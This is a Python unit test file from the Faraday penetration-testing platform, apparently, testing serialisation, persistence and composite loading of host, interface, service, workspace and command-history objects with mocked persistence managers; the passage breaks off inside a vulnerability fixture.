5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 import unittest
10 import sys
11 import os
12 from time import time
13 sys.path.append(os.path.abspath(os.getcwd()))
14
15 from mockito import mock, when, any
16
17 from model.hosts import Host, Interface, Service
18 from model.workspace import Workspace
19 from model.commands_history import CommandRunInformation
20 from model.common import Metadata, ModelObject
21 from persistence.mappers.abstract_mapper import NullPersistenceManager
22 from managers.mapper_manager import MapperManager
23 from persistence.mappers.data_mappers import ModelObjectMapper, Mappers
24
25 from config.configuration import getInstanceConfiguration
26 CONF = getInstanceConfiguration()
27
28
29 class HostMapperTestSuite(unittest.TestCase):
30 def setUp(self):
31 self.mapper_manager = MapperManager()
32 self.mapper_manager.createMappers(NullPersistenceManager())
33 self.hmapper = self.mapper_manager.getMapper(Host.__name__)
34
35 def tearDown(self):
36 pass
37
38 def test_host_serialization(self):
39 host = Host(name="pepito", os="linux")
40 host.setDescription("Some description")
41 host.setOwned(True)
42 hserialized = self.hmapper.serialize(host)
43 # if serialization fails, returns None
44 self.assertNotEqual(
45 hserialized,
46 None,
47 "Serialized host shouldn't be None")
48 # we check the host attributes
49 self.assertEquals(
50 hserialized.get("_id"),
51 host.getID(),
52 "Serialized ID is not the same as Host ID")
53 self.assertEquals(
54 hserialized.get("name"),
55 host.getName(),
56 "Serialized name is not the same as Host name")
57 self.assertEquals(
58 hserialized.get("os"),
59 host.getOS(),
60 "Serialized OS is not the same as Host OS")
61 self.assertEquals(
62 hserialized.get("description"),
63 host.getDescription(),
64 "Serialized description is not the same as Host description")
65 self.assertEquals(
66 hserialized.get("owned"),
67 host.isOwned(),
68 "Serialized owned flag is not the same as Host owned flag")
69
70 def test_host_creation(self):
71 host = Host(name="pepito", os="linux")
72 self.hmapper.save(host)
73 h = self.hmapper.find(host.getID())
74 self.assertEquals(
75 h,
76 host,
77 "Host retrieved should be the same as persisted")
78 self.assertEquals(
79 h.getID(),
80 host.getID(),
81 "Host retrieved's Id should be the same as persisted's Id")
82
83 def test_load_nonexistent_host(self):
84 self.assertEquals(
85 self.hmapper.load("1234"),
86 None,
87 "Nonexistent host should return None")
88
89 def test_find_not_loaded_host(self):
90 # we need to mock the persistence manager first,
91 # so we can return a simulated doc
92 doc = {
93 "type": "Host",
94 "_id": "1234",
95 "name": "pepito",
96 "owned": False,
97 "parent": None,
98 "owner": None,
99 "description": "some description",
100 "metadata": None,
101 "os": "linux",
102 "default_gateway": None
103 }
104
105 when(self.hmapper.pmanager).getDocument("1234").thenReturn(doc)
106
107 host = self.hmapper.find("1234")
108 self.assertNotEquals(
109 host,
110 None,
111 "Existent host shouldn't return None")
112
113 self.assertEquals(
114 host.getName(),
115 "pepito",
116 "Host name should be pepito")
117
118 self.assertEquals(
119 host.getOS(),
120 "linux",
121 "Host os should be linux")
122
123 def test_load_rubbish_host_doc(self):
124 # we need to mock the persistence manager first,
125 # so we can return an erroneous simulated doc
126 doc = {
127 "type": "RUBBISH",
128 "_id": "1234",
129 "name": "pepito",
130 "owned": False,
131 "parent": None,
132 "owner": None,
133 "description": "some description",
134 "metadata": None,
135 "os": "linux",
136 "default_gateway": None
137 }
138 pmanager = mock(NullPersistenceManager)
139 when(pmanager).getDocument(any(str)).thenReturn(doc)
140 self.hmapper.setPersistenceManager(pmanager)
141
142 host = self.hmapper.find("1234")
143 self.assertEquals(
144 host,
145 None,
146 "Doc is malformed so we should get None")
147
148 def test_host_create_and_delete(self):
149 host = Host(name="pepito", os="linux")
150 self.hmapper.save(host)
151 h_id = host.getID()
152
153 self.assertNotEquals(
154 self.hmapper.load(h_id),
155 None,
156 "Host should be saved")
157
158 self.hmapper.delete(h_id)
159
160 self.assertEquals(
161 self.hmapper.find(h_id),
162 None,
163 "Host shouldn't exist anymore")
164
165
166 class InterfaceMapperTestSuite(unittest.TestCase):
167 def setUp(self):
168 self.mapper_manager = MapperManager()
169 self.mapper_manager.createMappers(NullPersistenceManager())
170 self.imapper = self.mapper_manager.getMapper(Interface.__name__)
171
172 def tearDown(self):
173 pass
174
175 def test_interface_serialization(self):
176 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
177 iface.setDescription("Some description")
178 iface.setOwned(True)
179 iface.addHostname("www.test.com")
180 iface.setIPv4({
181 "address": "192.168.10.168",
182 "mask": "255.255.255.0",
183 "gateway": "192.168.10.1",
184 "DNS": "192.168.10.1"
185 })
186 iface.setPortsOpened(2)
187 iface.setPortsClosed(3)
188 iface.setPortsFiltered(4)
189 iserialized = self.imapper.serialize(iface)
190 # if serialization fails, returns None
191 self.assertNotEqual(
192 iserialized,
193 None,
194 "Serialized interface shouldn't be None")
195 # we check the interface attributes
196 self.assertEquals(
197 iserialized.get("_id"),
198 iface.getID(),
199 "Serialized ID is not the same as Interface ID")
200 self.assertEquals(
201 iserialized.get("name"),
202 iface.getName(),
203 "Serialized name is not the same as Interface name")
204 self.assertEquals(
205 iserialized.get("mac"),
206 iface.getMAC(),
207 "Serialized MAC is not the same as Interface MAC")
208 self.assertEquals(
209 iserialized.get("network_segment"),
210 iface.getNetworkSegment(),
211 "Serialized Network Segment is not the same as Interface Network Segment")
212 self.assertEquals(
213 iserialized.get("description"),
214 iface.getDescription(),
215 "Serialized description is not the same as Interface description")
216 self.assertEquals(
217 iserialized.get("owned"),
218 iface.isOwned(),
219 "Serialized owned flag is not the same as Interface owned flag")
220
221 def test_interface_creation(self):
222 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
223 iface.setDescription("Some description")
224 iface.setOwned(True)
225 iface.addHostname("www.test.com")
226 iface.setIPv4({
227 "address": "192.168.10.168",
228 "mask": "255.255.255.0",
229 "gateway": "192.168.10.1",
230 "DNS": "192.168.10.1"
231 })
232 iface.setPortsOpened(2)
233 iface.setPortsClosed(3)
234 iface.setPortsFiltered(4)
235
236 self.imapper.save(iface)
237 i = self.imapper.find(iface.getID())
238 self.assertEquals(
239 i,
240 iface,
241 "Interface retrieved should be the same as persisted")
242 self.assertEquals(
243 i.getID(),
244 iface.getID(),
245 "Interface retrieved's Id should be the same as persisted's Id")
246
247 def test_load_nonexistent_interface(self):
248 self.assertEquals(
249 self.imapper.load("1234"),
250 None,
251 "Nonexistent interface should return None")
252
253 def test_find_not_loaded_interface(self):
254 # we need to mock the persistence manager first,
255 # so we can return a simulated doc
256 doc = {
257 "type": "Interface",
258 "_id": "1234",
259 "name": "192.168.10.168",
260 "owned": False,
261 "parent": None,
262 "owner": None,
263 "description": "some description",
264 "metadata": None,
265 "mac": "01:02:03:04:05:06",
266 "network_segment": None,
267 "hostnames": ["www.test.com"],
268 "ipv4": {
269 "address": "192.168.10.168",
270 "mask": "255.255.255.0",
271 "gateway": "192.168.10.1",
272 "DNS": "192.168.10.1"
273 },
274 "ipv6": {},
275 "ports": {
276 "opened": 2,
277 "closed": 3,
278 "filtered": 4,
279 }
280 }
281 when(self.imapper.pmanager).getDocument("1234").thenReturn(doc)
282
283 iface = self.imapper.find("1234")
284 self.assertNotEquals(
285 iface,
286 None,
287 "Existent interface shouldn't return None")
288
289 self.assertEquals(
290 iface.getName(),
291 "192.168.10.168",
292 "Inteface name should be 192.168.10.168")
293
294 self.assertEquals(
295 iface.getMAC(),
296 "01:02:03:04:05:06",
297 "Interface MAC should be 01:02:03:04:05:06")
298
299 def test_interface_create_and_delete(self):
300 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
301 self.imapper.save(iface)
302 i_id = iface.getID()
303
304 self.assertNotEquals(
305 self.imapper.load(i_id),
306 None,
307 "Inteface should be saved")
308
309 self.imapper.delete(i_id)
310
311 self.assertEquals(
312 self.imapper.find(i_id),
313 None,
314 "Inteface shouldn't exist anymore")
315
316
317 class ServiceMapperTestSuite(unittest.TestCase):
318 def setUp(self):
319 self.mapper_manager = MapperManager()
320 self.mapper_manager.createMappers(NullPersistenceManager())
321 self.smapper = self.mapper_manager.getMapper(Service.__name__)
322
323 def tearDown(self):
324 pass
325
326 def test_service_serialization(self):
327 srv = Service(name="http")
328 srv.setDescription("Some description")
329 srv.setOwned(True)
330 srv.setProtocol("tcp")
331 srv.setPorts(80)
332 srv.setStatus("open")
333 srv.setVersion("Apache 2.4")
334 sserialized = self.smapper.serialize(srv)
335 # if serialization fails, returns None
336 self.assertNotEqual(
337 sserialized,
338 None,
339 "Serialized service shouldn't be None")
340 # we check the service attributes
341 self.assertEquals(
342 sserialized.get("_id"),
343 srv.getID(),
344 "Serialized ID is not the same as Service ID")
345 self.assertEquals(
346 sserialized.get("name"),
347 srv.getName(),
348 "Serialized name is not the same as Service name")
349 self.assertEquals(
350 sserialized.get("protocol"),
351 srv.getProtocol(),
352 "Serialized protocol is not the same as Service protocol")
353 self.assertEquals(
354 sserialized.get("status"),
355 srv.getStatus(),
356 "Serialized status is not the same as Service status")
357 self.assertEquals(
358 sserialized.get("ports"),
359 srv.getPorts(),
360 "Serialized ports is not the same as Service ports")
361 self.assertEquals(
362 sserialized.get("description"),
363 srv.getDescription(),
364 "Serialized description is not the same as Interface description")
365 self.assertEquals(
366 sserialized.get("owned"),
367 srv.isOwned(),
368 "Serialized owned flag is not the same as Interface owned flag")
369
370 def test_service_creation(self):
371 srv = Service(name="http")
372 srv.setDescription("Some description")
373 srv.setOwned(True)
374 srv.setProtocol("tcp")
375 srv.setPorts(80)
376 srv.setStatus("open")
377 srv.setVersion("Apache 2.4")
378
379 self.smapper.save(srv)
380 s = self.smapper.find(srv.getID())
381 self.assertEquals(
382 s,
383 srv,
384 "Service retrieved should be the same as persisted")
385 self.assertEquals(
386 s.getID(),
387 srv.getID(),
388 "Service retrieved's Id should be the same as persisted's Id")
389
390 def test_load_nonexistent_service(self):
391 self.assertEquals(
392 self.smapper.load("1234"),
393 None,
394 "Nonexistent service should return None")
395
396 def test_find_not_loaded_service(self):
397 # we need to mock the persistence manager first,
398 # so we can return a simulated doc
399 doc = {
400 "type": "Service",
401 "_id": "1234",
402 "name": "http",
403 "owned": False,
404 "parent": None,
405 "owner": None,
406 "description": "some description",
407 "metadata": None,
408 "protocol": "tcp",
409 "status": "open",
410 "ports": [80],
411 "version": "Apache 2.4"
412 }
413 when(self.smapper.pmanager).getDocument("1234").thenReturn(doc)
414
415 srv = self.smapper.find("1234")
416 self.assertNotEquals(
417 srv,
418 None,
419 "Existent service shouldn't return None")
420
421 self.assertEquals(
422 srv.getName(),
423 "http",
424 "Service name should be http")
425
426 self.assertEquals(
427 srv.getProtocol(),
428 "tcp",
429 "Service protocol should be tcp")
430
431 def test_service_create_and_delete(self):
432 srv = Service(name="http")
433 self.smapper.save(srv)
434 s_id = srv.getID()
435
436 self.assertNotEquals(
437 self.smapper.load(s_id),
438 None,
439 "Service should be saved")
440
441 self.smapper.delete(s_id)
442
443 self.assertEquals(
444 self.smapper.find(s_id),
445 None,
446 "Service shouldn't exist anymore")
447
448 class ModelObjectMapperTestSuite(unittest.TestCase):
449 def setUp(self):
450 Mappers[ModelObject.class_signature] = ModelObjectMapper
451 self.mapper_manager = MapperManager()
452 self.mapper_manager.createMappers(NullPersistenceManager())
453 self.mapper = self.mapper_manager.getMapper(ModelObject.__name__)
454
455 def tearDown(self):
456 pass
457
458 def test_metadata_deserialization(self):
459 import time
460 modelobject = ModelObject()
461 modelobject.updateID = lambda *args : 'ModelObjectID'
462 # {'create_time': 1417205460.253131,
463 # 'creator': 'ninja_owner',
464 # 'owner': 'ninja_owner',
465 # 'update_time': 1417205460.253132,
466 # 'update_user': 'ninja_owner'}
467 modelobjectserialized = {'name': '',
468 'parent': None,
469 'owner': '',
470 '_id': None,
471 'type': 'ModelObject',
472 'metadata': {'update_time': 1417207650.761777,
473 'update_user': '',
474 'update_action': 0,
475 'creator': '',
476 'create_time': 1417207650.761777,
477 'update_controller_action': 'No model controller call',
478 'owner': ''},
479 'owned': False,
480 'description': ''}
481 modelobject2 = self.mapper.unserialize(modelobject, modelobjectserialized)
482 metadata = modelobject2._metadata
483 metadataserialized = modelobjectserialized['metadata']
484 # if serialization fails, returns None
485 self.assertNotEqual(
486 modelobjectserialized,
487 None,
488 "Serialized ModelObejct shouldn't be None")
489 # we check the cmd attributes
490 self.assertEquals(
491 modelobjectserialized.get("_id"),
492 modelobject.getID(),
493 "Serialized ID is not the same as metadata ID")
494 import ipdb; ipdb.set_trace()
495 self.assertEquals(
496 metadataserialized.get("owner"),
497 metadata.__getattribute__("owner"),
498 "Serialized owner is not the same as metadata owner")
499 self.assertEquals(
500 metadataserialized.get("creator"),
501 metadata.__getattribute__("creator"),
502 "Serialized owner is not the same as metadata creator")
503
504 self.assertTrue(
505 isinstance(metadataserialized.get("create_time"), float),
506 "Serialized create_time is not int")
507 self.assertTrue(
508 isinstance(metadataserialized.get("update_time"), float),
509 "Serialized update_time is not int")
510
511 def test_metadata_serialization(self):
512 import time
513 modelobject = ModelObject()
514 modelobject.updateID = lambda *args : 'ModelObjectID'
515 metadata = Metadata('')
516 # {'create_time': 1417205460.253131,
517 # 'creator': 'ninja_owner',
518 # 'owner': 'ninja_owner',
519 # 'update_time': 1417205460.253132,
520 # 'update_user': 'ninja_owner'}
521
522 modelobjectserialized = self.mapper.serialize(modelobject)
523 metadataserialized = modelobjectserialized['metadata']
524 # if serialization fails, returns None
525 self.assertNotEqual(
526 modelobjectserialized,
527 None,
528 "Serialized ModelObejct shouldn't be None")
529 # we check the cmd attributes
530 self.assertEquals(
531 modelobjectserialized.get("_id"),
532 modelobject.getID(),
533 "Serialized ID is not the same as metadata ID")
534 self.assertEquals(
535 metadataserialized.get("creator"),
536 metadata.__getattribute__("creator"),
537 "Serialized owner is not the same as metadata creator")
538 self.assertEquals(
539 metadataserialized.get("owner"),
540 metadata.__getattribute__("owner"),
541 "Serialized owner is not the same as metadata owner")
542
543 self.assertTrue(
544 isinstance(metadataserialized.get("create_time"), float),
545 "Serialized create_time is not int")
546 self.assertTrue(
547 isinstance(metadataserialized.get("update_time"), float),
548 "Serialized update_time is not int")
549
550
551
552 class CommandRunInformationMapperTestSuite(unittest.TestCase):
553 def setUp(self):
554 self.mapper_manager = MapperManager()
555 self.mapper_manager.createMappers(NullPersistenceManager())
556 self.mapper = self.mapper_manager.getMapper(CommandRunInformation.__name__)
557
558 def tearDown(self):
559 pass
560
561 def test_cmd_serialization(self):
562 import time
563 cmd = CommandRunInformation(**{
564 'workspace': 'fakews',
565 'itime': time.time(),
566 'command': "ping",
567 'params': "127.0.0.1"})
568 cmdserialized = self.mapper.serialize(cmd)
569 # if serialization fails, returns None
570 self.assertNotEqual(
571 cmdserialized,
572 None,
573 "Serialized cmd shouldn't be None")
574 # we check the cmd attributes
575 self.assertEquals(
576 cmdserialized.get("_id"),
577 cmd.getID(),
578 "Serialized ID is not the same as cmd ID")
579 self.assertEquals(
580 cmdserialized.get("command"),
581 cmd.__getattribute__("command"),
582 "Serialized name is not the same as cmd command")
583 self.assertEquals(
584 cmdserialized.get("params"),
585 cmd.__getattribute__("params"),
586 "Serialized name is not the same as cmd params")
587
588 def test_cmd_creation(self):
589 import time
590 cmd = CommandRunInformation(**{
591 'workspace': 'fakews',
592 'itime': time.time(),
593 'command': "ping",
594 'params': "127.0.0.1"})
595
596 self.mapper.save(cmd)
597 c = self.mapper.find(cmd.getID())
598 self.assertEquals(
599 c,
600 cmd,
601 "Cmd retrieved should be the same as persisted")
602 self.assertEquals(
603 c.getID(),
604 cmd.getID(),
605 "Cmd retrieved's Id should be the same as persisted's Id")
606
607 def test_load_nonexistent_cmd(self):
608 self.assertEquals(
609 self.mapper.load("1234"),
610 None,
611 "Nonexistent cmd should return None")
612
613 def test_find_not_loaded_cmd(self):
614 # we need to mock the persistence manager first,
615 # so we can return a simulated doc
616 doc = {
617 "_id": "1234",
618 "itime": 1409856507.891718,
619 "command": "ping",
620 "workspace": "fakews",
621 "duration": 0.6570961475372314,
622 "params": "127.0.0.1",
623 "type": "CommandRunInformation",
624 }
625 when(self.mapper.pmanager).getDocument("1234").thenReturn(doc)
626
627 cmd = self.mapper.find("1234")
628 self.assertNotEquals(
629 cmd,
630 None,
631 "Existent cmd shouldn't return None")
632
633 self.assertEquals(
634 cmd.__getattribute__("command"),
635 "ping",
636 "Cmd command should be ping")
637
638 def test_cmd_create_and_delete(self):
639 import time
640 cmd = CommandRunInformation(**{
641 'workspace': 'fakews',
642 'itime': time.time(),
643 'command': "ping",
644 'params': "127.0.0.1"})
645
646 self.mapper.save(cmd)
647 cmd_id = cmd.getID()
648
649 self.assertNotEquals(
650 self.mapper.load(cmd_id),
651 None,
652 "Command should be saved")
653
654 self.mapper.delete(cmd_id)
655
656 self.assertEquals(
657 self.mapper.find(cmd_id),
658 None,
659 "Command shouldn't exist anymore")
660
661
662 class WorkspaceMapperTestSuite(unittest.TestCase):
663 def setUp(self):
664 self.mapper_manager = MapperManager()
665 self.mapper_manager.createMappers(NullPersistenceManager())
666 self.wmapper = self.mapper_manager.getMapper(Workspace.__name__)
667
668 def tearDown(self):
669 pass
670
671 def test_workspace_serialization(self):
672 workspace = Workspace(name="workspace_test")
673 workspace.setDescription("Some description")
674 workspace.setCustomer("Infobyte")
675 wserialized = self.wmapper.serialize(workspace)
676 # if serialization fails, returns None
677 self.assertNotEqual(
678 wserialized,
679 None,
680 "Serialized workspace shouldn't be None")
681 # we check the host attributes
682 self.assertEquals(
683 wserialized.get("_id"),
684 workspace.getID(),
685 "Serialized ID is not the same as workspace ID")
686 self.assertEquals(
687 wserialized.get("name"),
688 workspace.getName(),
689 "Serialized name is not the same as workspace name")
690 self.assertEquals(
691 wserialized.get("description"),
692 workspace.getDescription(),
693 "Serialized description is not the same as workspace description")
694 self.assertEquals(
695 wserialized.get("customer"),
696 workspace.getCustomer(),
697 "Serialized customer is not the same as workspace customer")
698
699 def test_workspace_creation(self):
700 workspace = Workspace(name="workspace_test")
701 self.wmapper.save(workspace)
702 w = self.wmapper.find(workspace.getID())
703 self.assertEquals(
704 w,
705 workspace,
706 "Workspace retrieved should be the same as persisted")
707 self.assertEquals(
708 w.getID(),
709 workspace.getID(),
710 "Workspace retrieved's Id should be the same as persisted's Id")
711
712 def test_load_nonexistent_workspace(self):
713 self.assertEquals(
714 self.wmapper.load("Nonexistent"),
715 None,
716 "Nonexistent workspace should return None")
717
718 def test_find_not_loaded_workspace(self):
719 # we need to mock the persistence manager first,
720 # so we can return a simulated doc
721 doc = {
722 "type": "Workspace",
723 "_id": "workspace_test",
724 "name": "workspace_test",
725 "description": "some description",
726 "customer": "Infobyte",
727 "sdate": time(),
728 "fdate": time()
729 }
730 when(self.wmapper.pmanager).getDocument("workspace_test").thenReturn(doc)
731
732 workspace = self.wmapper.find("workspace_test")
733 self.assertNotEquals(
734 workspace,
735 None,
736 "Existent workspace shouldn't return None")
737
738 self.assertEquals(
739 workspace.getName(),
740 "workspace_test",
741 "Workspace name should be workspace_test")
742
743 self.assertEquals(
744 workspace.getCustomer(),
745 "Infobyte",
746 "Host os should be Infobyte")
747
748 def test_workspace_create_and_delete(self):
749 workspace = Workspace(name="workspace_test")
750 self.wmapper.save(workspace)
751 w_id = workspace.getID()
752
753 self.assertNotEquals(
754 self.wmapper.load(w_id),
755 None,
756 "Workspace should be saved")
757
758 self.wmapper.delete(w_id)
759
760 self.assertEquals(
761 self.wmapper.find(w_id),
762 None,
763 "Workspace shouldn't exist anymore")
764
765
766 class MapperManagerTestSuite(unittest.TestCase):
767 def setUp(self):
768 self.mapper_manager = MapperManager()
769
770 def tearDown(self):
771 pass
772
773 def test_create_and_retrieve_host(self):
774 self.mapper_manager.createMappers(NullPersistenceManager())
775 host = Host(name="pepito", os="linux")
776 host.setDescription("Some description")
777 host.setOwned(True)
778 self.mapper_manager.save(host)
779
780 h = self.mapper_manager.find(host.getID())
781
782 self.assertNotEquals(
783 h,
784 None,
785 "Host retrieved shouldn't be None")
786
787 self.assertEquals(
788 host,
789 h,
790 "Host created should be the same as host retrieved")
791
792
793 class CompositeMapperTestSuite(unittest.TestCase):
794 def setUp(self):
795 self.mapper_manager = MapperManager()
796 self.mapper_manager.createMappers(NullPersistenceManager())
797
798 def tearDown(self):
799 pass
800
801 def create_host(self):
802 host = Host(name="pepito", os="linux")
803 host.setDescription("Some description")
804 host.setOwned(True)
805 return host
806
807 def create_interface(self):
808 iface = Interface(name="192.168.10.168", mac="01:02:03:04:05:06")
809 iface.setDescription("Some description")
810 iface.setOwned(True)
811 iface.addHostname("www.test.com")
812 iface.setIPv4({
813 "address": "192.168.10.168",
814 "mask": "255.255.255.0",
815 "gateway": "192.168.10.1",
816 "DNS": "192.168.10.1"
817 })
818 iface.setPortsOpened(2)
819 iface.setPortsClosed(3)
820 iface.setPortsFiltered(4)
821 return iface
822
823 def test_find_composite_host(self):
824 '''
825 We are going to create a host, then save it.
826 Next we create an interface and then add it
827 to the host, and finally save it.
828 '''
829 # add host
830 host = self.create_host()
831 self.mapper_manager.save(host)
832 # add inteface
833 interface = self.create_interface()
834 host.addChild(interface)
835 self.mapper_manager.save(interface)
836
837 h = self.mapper_manager.find(host.getID())
838 self.assertEquals(
839 h.getAllInterfaces(),
840 host.getAllInterfaces(),
841 "Interfaces from original host should be equals to retrieved host's interfaces")
842
843 def test_load_composite_one_host_one_interface(self):
844 '''
845 We are going to create a host, then save it.
846 Next we create an interface and then add it
847 to the host, and finally save it.
848 '''
849
850 doc_host = {
851 "type": "Host",
852 "_id": "1234",
853 "name": "pepito",
854 "owned": False,
855 "parent": None,
856 "owner": None,
857 "description": "some description",
858 "metadata": None,
859 "os": "linux",
860 "default_gateway": None
861 }
862
863 doc_interface = {
864 "type": "Interface",
865 "_id": "5678",
866 "name": "192.168.10.168",
867 "owned": False,
868 "parent": "1234",
869 "owner": None,
870 "description": "some description",
871 "metadata": None,
872 "mac": "01:02:03:04:05:06",
873 "network_segment": None,
874 "hostnames": ["www.test.com"],
875 "ipv4": {
876 "address": "192.168.10.168",
877 "mask": "255.255.255.0",
878 "gateway": "192.168.10.1",
879 "DNS": "192.168.10.1"
880 },
881 "ipv6": {},
882 "ports": {
883 "opened": 2,
884 "closed": 3,
885 "filtered": 4,
886 }
887 }
888
889 pmanager = mock(NullPersistenceManager)
890 when(pmanager).getDocument("1234").thenReturn(doc_host)
891 when(pmanager).getDocument("5678").thenReturn(doc_interface)
892 when(pmanager).getChildren(any(str)).thenReturn([])
893 when(pmanager).getChildren("1234").thenReturn([{'_id': "5678", 'type': "Interface"}])
894 self.mapper_manager.createMappers(pmanager)
895
896 host = self.mapper_manager.find("1234")
897 self.assertNotEquals(
898 host,
899 None,
900 "Existent host shouldn't be None")
901
902 self.assertEquals(
903 len(host.getAllInterfaces()),
904 1,
905 "Host should have one interface")
906
907 iface = self.mapper_manager.find("5678")
908 self.assertNotEquals(
909 iface,
910 None,
911 "Existent interface shouldn't be None")
912
913 self.assertEquals(
914 host.getInterface("5678"),
915 iface,
916 "Interface inside host should be equals to retrieved interface")
917
918 self.assertEquals(
919 iface.getParent(),
920 host,
921 "Host should be the interface's parent")
922
923 def test_load_composite_one_host_two_interfaces(self):
924
925 doc_host = {
926 "type": "Host",
927 "_id": "1234",
928 "name": "pepito",
929 "owned": False,
930 "parent": None,
931 "owner": None,
932 "description": "some description",
933 "metadata": None,
934 "os": "linux",
935 "default_gateway": None
936 }
937
938 doc_interface1 = {
939 "type": "Interface",
940 "_id": "5678",
941 "name": "192.168.10.168",
942 "owned": False,
943 "parent": "1234",
944 "owner": None,
945 "description": "some description",
946 "metadata": None,
947 "mac": "01:02:03:04:05:06",
948 "network_segment": None,
949 "hostnames": ["www.test.com"],
950 "ipv4": {
951 "address": "192.168.10.168",
952 "mask": "255.255.255.0",
953 "gateway": "192.168.10.1",
954 "DNS": "192.168.10.1"
955 },
956 "ipv6": {},
957 "ports": {
958 "opened": 2,
959 "closed": 3,
960 "filtered": 4,
961 }
962 }
963
964 doc_interface2 = {
965 "type": "Interface",
966 "_id": "6789",
967 "name": "192.168.10.168",
968 "owned": False,
969 "parent": "1234",
970 "owner": None,
971 "description": "some description",
972 "metadata": None,
973 "mac": "01:02:03:04:05:06",
974 "network_segment": None,
975 "hostnames": ["www.test.com"],
976 "ipv4": {
977 "address": "192.168.10.168",
978 "mask": "255.255.255.0",
979 "gateway": "192.168.10.1",
980 "DNS": "192.168.10.1"
981 },
982 "ipv6": {},
983 "ports": {
984 "opened": 2,
985 "closed": 3,
986 "filtered": 4,
987 }
988 }
989
990 pmanager = mock(NullPersistenceManager)
991 when(pmanager).getDocument("1234").thenReturn(doc_host)
992 when(pmanager).getDocument("5678").thenReturn(doc_interface1)
993 when(pmanager).getDocument("6789").thenReturn(doc_interface2)
994 when(pmanager).getChildren(any(str)).thenReturn([])
995 when(pmanager).getChildren("1234").thenReturn([{'_id': "5678", 'type': "Interface"}, {'_id': "6789", 'type': "Interface"}])
996 self.mapper_manager.createMappers(pmanager)
997
998 host = self.mapper_manager.find("1234")
999 self.assertNotEquals(
1000 host,
1001 None,
1002 "Existent host shouldn't be None")
1003
1004 self.assertEquals(
1005 len(host.getAllInterfaces()),
1006 2,
1007 "Host should have two interface")
1008
1009 iface1 = self.mapper_manager.find("5678")
1010 self.assertNotEquals(
1011 iface1,
1012 None,
1013 "Existent interface1 shouldn't be None")
1014
1015 self.assertEquals(
1016 host.getInterface("5678"),
1017 iface1,
1018 "Interface1 inside host should be equals to retrieved interface1")
1019
1020 self.assertEquals(
1021 iface1.getParent(),
1022 host,
1023 "Host should be the interface1's parent")
1024
1025 iface2 = self.mapper_manager.find("6789")
1026 self.assertNotEquals(
1027 iface2,
1028 None,
1029 "Existent interface2 shouldn't be None")
1030
1031 self.assertEquals(
1032 host.getInterface("6789"),
1033 iface2,
1034 "Interface2 inside host should be equals to retrieved interface2")
1035
1036 self.assertEquals(
1037 iface2.getParent(),
1038 host,
1039 "Host should be the interface2's parent")
1040
1041 def test_load_composite_one_host_one_interface_two_services(self):
1042
1043 doc_host = {
1044 "type": "Host",
1045 "_id": "1234",
1046 "name": "pepito",
1047 "owned": False,
1048 "parent": None,
1049 "owner": None,
1050 "description": "some description",
1051 "metadata": None,
1052 "os": "linux",
1053 "default_gateway": None
1054 }
1055
1056 doc_interface = {
1057 "type": "Interface",
1058 "_id": "5678",
1059 "name": "192.168.10.168",
1060 "owned": False,
1061 "parent": "1234",
1062 "owner": None,
1063 "description": "some description",
1064 "metadata": None,
1065 "mac": "01:02:03:04:05:06",
1066 "network_segment": None,
1067 "hostnames": ["www.test.com"],
1068 "ipv4": {
1069 "address": "192.168.10.168",
1070 "mask": "255.255.255.0",
1071 "gateway": "192.168.10.1",
1072 "DNS": "192.168.10.1"
1073 },
1074 "ipv6": {},
1075 "ports": {
1076 "opened": 2,
1077 "closed": 3,
1078 "filtered": 4,
1079 }
1080 }
1081
1082 doc_service1 = {
1083 "type": "Service",
1084 "_id": "abcd",
1085 "name": "http",
1086 "owned": False,
1087 "parent": "5678",
1088 "owner": None,
1089 "description": "some description",
1090 "metadata": None,
1091 "protocol": "tcp",
1092 "status": "open",
1093 "ports": [80],
1094 "version": "Apache 2.4"
1095 }
1096
1097 doc_service2 = {
1098 "type": "Service",
1099 "_id": "efgh",
1100 "name": "ssh",
1101 "owned": False,
1102 "parent": "5678",
1103 "owner": None,
1104 "description": "some description",
1105 "metadata": None,
1106 "protocol": "tcp",
1107 "status": "open",
1108 "ports": [22],
1109 "version": "OpenSSH"
1110 }
1111
1112 pmanager = mock(NullPersistenceManager)
1113 when(pmanager).getDocument("1234").thenReturn(doc_host)
1114 when(pmanager).getDocument("5678").thenReturn(doc_interface)
1115 when(pmanager).getDocument("abcd").thenReturn(doc_service1)
1116 when(pmanager).getDocument("efgh").thenReturn(doc_service2)
1117 when(pmanager).getChildren(any(str)).thenReturn([])
1118 when(pmanager).getChildren("1234").thenReturn([{'_id': "5678", 'type': "Interface"}])
1119 when(pmanager).getChildren("5678").thenReturn([{'_id': "abcd", 'type': "Service"}, {'_id': "efgh", 'type': "Service"}])
1120 self.mapper_manager.createMappers(pmanager)
1121
1122 iface = self.mapper_manager.find("5678")
1123 self.assertNotEquals(
1124 iface,
1125 None,
1126 "Existent interface shouldn't be None")
1127
1128 # Lets make sure that the host was created
1129 host = iface.getParent()
1130 self.assertEquals(
1131 host.getID(),
1132 "1234",
1133 "Interface's parent id should be 1234")
1134
1135 self.assertEquals(
1136 host,
1137 self.mapper_manager.find("1234"),
1138 "Interface1's parent should be equals to the host retrieved")
1139
1140 self.assertEquals(
1141 len(iface.getAllServices()),
1142 2,
1143 "Interface should have two services")
1144
1145 services_ids = [srv.getID() for srv in iface.getAllServices()]
1146 self.assertIn(
1147 "abcd",
1148 services_ids,
1149 "Service 'abcd' should be one of the interface's services")
1150
1151 self.assertIn(
1152 "efgh",
1153 services_ids,
1154 "Service 'efgh' should be one of the interface's services")
1155
1156 def test_load_composite_one_host_one_note_one_vuln_one_credential(self):
1157
1158 doc_host = {
1159 "type": "Host",
1160 "_id": "1234",
1161 "name": "pepito",
1162 "owned": False,
1163 "parent": None,
1164 "owner": None,
1165 "description": "some description",
1166 "metadata": None,
1167 "os": "linux",
1168 "default_gateway": None
1169 }
1170
1171 doc_note = {
1172 "type": "Note",
1173 "_id": "note1",
1174 "name": "Note1",
1175 "owned": False,
1176 "parent": "1234",
1177 "owner": None,
1178 "description": "some description",
1179 "metadata": None,
1180 "text": "this is a note"
1181 }
1182
1183 doc_vuln = {
1184 "type": "Vulnerability",
1185 "_id": "vuln1",
1186 "name": "Vuln1",
1187 "owned": False,
1188 "parent": "1234",
1189 "owner": None,
1190 "description": "some description",
1191 "metadata": None,
1192 "desc": "this is a vuln",
1193 "severity": "high",
1194 "refs": ["cve1", "cve2"]
